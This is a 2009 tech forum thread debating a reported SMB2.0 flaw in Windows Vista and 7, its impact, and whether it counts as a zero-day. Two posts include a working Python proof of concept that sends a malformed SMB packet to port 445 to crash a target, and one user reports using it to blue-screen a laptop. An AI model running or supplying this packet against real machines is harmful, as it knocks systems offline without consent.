Windows 7, Vista Zero-Day Flaw Reported

HardOCP News

[H] News
Joined
Dec 31, 1969
Messages
0
Security researchers claim that a new zero-day vulnerability affecting Windows 7 and Vista could cause a critical system error and allow for remote code execution.

Gaffie said he had contacted Microsoft. Comments on his blog by other users said that the flaw could lead not only to denial of service, but could also lead to remote code execution.
 
Oh great, another Microsoft bashing thread.

:D
 
Flaw? Can't be. Windows 7 is perfect! Only OS X has flaws! And so on and so forth :)
 
A flaw in Win7 before it's even released? Recall the RTM, it should have never made it out of beta. Also, the source is from cnet, they are Apple fanboys.

/end sarcasm
 
Oh great, another Microsoft bashing thread.

:D

sad thing is this isn't really a zero day but the blogosphere will make it one anyways.

Flaw? Can't be. Windows 7 is perfect! Only OS X has flaws! And so on and so forth :)

Actually it looks like Windows 7 isn't affected, so it is only a bug in Vista. Yeah great Zero day. :rolleyes:

When it can remotely execute code and bypass UAC that's when I'll call it a zero day.
 
nerd fight!

my level 48 dwarf is higher than your level 43 dwarf. that's my acne cream!
 
imho compared to apple, atleast MS will patch it up shortly after release, if it is confirmed ;)
 
The blog post says Windows 7 is affected (fully updated or otherwise), so I dunno.

My fault for the confusion. RTM looks like it isn't effected. Earlier builds dunno about. The CNET article links to a few sites. People are claiming 7 RTM isn't harmed at all.
 
nerd fight!
I suspect that this one will be pretty tame unless our more esteemed friends show up. Then it'll be no-holds-barred.

My fault for the confusion. RTM looks like it isn't effected. Earlier builds dunno about. The CNET article links to a few sites. People are claiming 7 RTM isn't harmed at all.
Could be. The blog post is pretty vague:
VI. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008 as it use the same SMB2.0 driver (but not tested).
I imagine it could very well have been addressed in 7600. Still, it might be a good idea to "close SMB feature and ports", as the post suggests, however the hell you might go about doing that :confused:
 
According to the articles, most any firewall can block it and the result of this exploit so far is limited to a blue screen and reboot. No borgs, overwritten hard drives, or stolen data. It could be a pain in the ass for businesses running server 2003 without a firewall or with those ports open, but it's pretty week as exploits go for normal users so far. We will have to see if the trash can make anything more of it b4 it gets patched. See you all again on patch day.

Fortunately, basic firewall defences are enough to dampen the threat, according to a preliminary assessment of the problem by security researchers at the Internet Storm Centre (ISC).

Computer security publication "The H" wrote on Tuesday that its German sister publication had tested the proof-of-concept code, and that while the exploit had caused a reboot on Vista, the exploit had not worked on Windows 7.
 
Does it bypass UAC to allow the remote code execution? There's no source code that does such a thing yet. So yes this is a bug that can allow remote code execution but that doesn't make it a zero day.

Right, what makes it a zero-day exploit is that it is new. Being able to bypass UAC is not a requirement for something being zero-day.

Additionally, I think you're confusing two disjoint concepts: bypassing UAC generally (something which can be done), and bypassing UAC by taking advantage of a security flaw in it (something which hasn't been done to my knowledge).
 
According to the articles, most any firewall can block it and the result of this exploit so far is limited to a blue screen and reboot. No borgs, overwritten hard drives, or stolen data. It could be a pain in the ass for businesses running server 2003 without a firewall or with those ports open, but it's pretty week as exploits go for normal users so far. We will have to see if the trash can make anything more of it b4 it gets patched. See you all again on patch day.

Actually I don't think it would affect Server 2003 as it doesn't affect XP or 2000.

Server 2008 appears vulnerable though. Haven't seen any info on whether Server 2008 R2 is vulnerable. I would guess that R2 RTM isn't vulnerable while earlier builds may have been.
 
Right, what makes it a zero-day exploit is that it is new. Being able to bypass UAC is not a requirement for something being zero-day.

Additionally, I think you're confusing two disjoint concepts: bypassing UAC generally (something which can be done), and bypassing UAC by taking advantage of a security flaw in it (something which hasn't been done to my knowledge).

Maybe my definition is wrong but I see a zero day as something that can deliver its payload without my knowledge meaning with Vista/7 it can bypass UAC prompting you for the change the payload is about to make.
 
Hey, its a bug and security flaw, not the first and definitely not the last for Windows or any other OS. The question is what's the impact. Looks to not have any impact on home users and consumers and it apparently DOESN'T affect Windows 7 despite the title as others have mentioned.
 
Maybe my definition is wrong but I see a zero day as something that can deliver its payload without my knowledge meaning with Vista/7 it can bypass UAC prompting you for the change the payload is about to make.

Your definition is wrong. This is an exploit not an attack...yet

A zero-day attack or threat is a computer threat that tries to exploit computer application vulnerabilities that are unknown to others, undisclosed to the software vendor, or for which no security fix is available. Zero-day exploits (actual code that can use a security hole to carry out an attack) are used or shared by attackers before the software vendor knows about the vulnerability.

http://seclists.org/fulldisclosure/2009/Sep/0039.html

Proof of concept:
Code:
Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"

)
s = socket()

s.connect(host)
s.send(buff)
s.close()
 
Hey, its a bug and security flaw, not the first and definitely not the last for Windows or any other OS. The question is what's the impact. Looks to not have any impact on home users and consumers and it apparently DOESN'T affect Windows 7 despite the title as others have mentioned.

VI. SYSTEMS AFFECTED

Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it use the same SMB2.0 driver (not tested).
 
You have to allow SMB2 requests for this attack to work. Nobody does that facing the internet. This exploit is an especially dangerous secondary attack to spread malware across a LAN after some other type of malware has made it's way onto at least one machine in the network. Imagine some secretary in an office installing some spyware that next drops this exploit, that's the real threat.
 
VI. SYSTEMS AFFECTED

Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it use the same SMB2.0 driver (not tested).

But if you read the blog entries people are saying that its NOT affecting Windows 7. Maybe they don't have everything setup.
 
You have to allow SMB2 requests for this attack to work. Nobody does that facing the internet. This exploit is an especially dangerous secondary attack to spread malware across a LAN after some other type of malware has made it's way onto at least one machine in the network. Imagine some secretary in an office installing some spyware that next drops this exploit, that's the real threat.

This is why we have AV.
 
Good point, from the IT side I can definitely appreciate the secretary's computer being the trojan horse to all sorts of mayhem from this type of exploit. When it comes to my PCs sitting behind a firewall, I think the whole thing is overblown.
 
Good point, from the IT side I can definitely appreciate the secretary's computer being the trojan horse to all sorts of mayhem from this type of exploit. When it comes to my PCs sitting behind a firewall, I think the whole thing is overblown.

99.999% of Windows viruses are overblown. If tens of thousands of viruses exist for Windows, how many actually cause wide spread harm? And of those how many have been zero day?

The numbers speak for themselves.
 
99.999% of Windows viruses are overblown. If tens of thousands of viruses exist for Windows, how many actually cause wide spread harm? And of those how many have been zero day?

The numbers speak for themselves.

Lets see....

Adobe Zero Day...was pretty successful at hitting major banks nationwide..

http://www.scmagazineuk.com/Finjan-...ks-due-to-Adobe-vulnerability/article/140564/

Direct Show...still see these attacks daily

http://www.internetnews.com/securit...Microsoft+Warns+of+New+Zeroday+Bug+for+XP.htm

WebDAV 0day did pretty well at compromising hosting providers...

http://blogs.zdnet.com/security/?p=3424

What you call overblown is when the media get ahold of it 5 weeks after the IT industry has known about it and blows it up. There is a reason most corporations take 0day stuff pretty seriously.
 
Go download 20 malware samples and then shove them thru virustotal.com. Antivirus is a joke. They ALL fail hard.

I've been running Microsoft Security Essentials on all of my desktops for months now. Everything I've tested it against it found. Sure AV isn't perfect, sorry you're spreading FUD however. Good AV scanners do a very good job of picking up threats.
 
Lets see....

Adobe Zero Day...was pretty successful at hitting major banks nationwide..

http://www.scmagazineuk.com/Finjan-...ks-due-to-Adobe-vulnerability/article/140564/

Direct Show...still see these attacks daily

http://www.internetnews.com/securit...Microsoft+Warns+of+New+Zeroday+Bug+for+XP.htm

WebDAV 0day did pretty well at compromising hosting providers...

http://blogs.zdnet.com/security/?p=3424

What you call overblown is when the media get ahold of it 5 weeks after the IT industry has known about it and blows it up. There is a reason most corporations take 0day stuff pretty seriously.

I work at one of the most major of major banks and we have very good security overall. None of these caused us any problems. If someone put WebDAV on a front facing server they deserved to be hacked. You need a LOT of signoff to put things like WebDAV even on our test servers.

Sorry, people with good security practices don't have problems with this stuff 99.999%. I've been in the IT business a long time, well before the web and in my days of seeing web attacks I've yet to see ONE that wasn't easily preventable. 80% a simple and timely patch fixes the problem. The other 20% is split among things like attack surface reduction, good client security policies and decent AV.
 
I just executed the exploit on a linux machine with python. Put the IP address of my internet-facing Windows 7 RTM machine into the script and ran it.

The attack failed.
 
That's what I've been reading.
Tried again with Windows Firewall down, same result.

With the firewall up the script didn't seem able to form a connection at all. With the firewall down the attack failed instantly.

I'm going to turn on file sharing with password protection off and try once more.
 
Still doesn't work with sharing settings set to stupidly permissive and Windows Direwall completely off. Only other thing I can think of is to try from localhost, but that kind of defeats the purpose of a remote exploit, no?
 
Still doesn't work with sharing settings set to stupidly permissive and Windows Direwall completely off. Only other thing I can think of is to try from localhost, but that kind of defeats the purpose of a remote exploit, no?

Try it against Build 7100. I'm betting RTM doesn't have the problem but RC does.
 
the script could do with a bit of <3

Code:
import sys
import socket
from time import sleep

host = sys.argv[1]
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"

)
s = socket.socket()

s.connect((host, 445))
s.send(buff)
s.close()

ran it against wifies lappy and she got a BSOD

page_fault_in_non_page_area in srv2.sys
 
Back
Top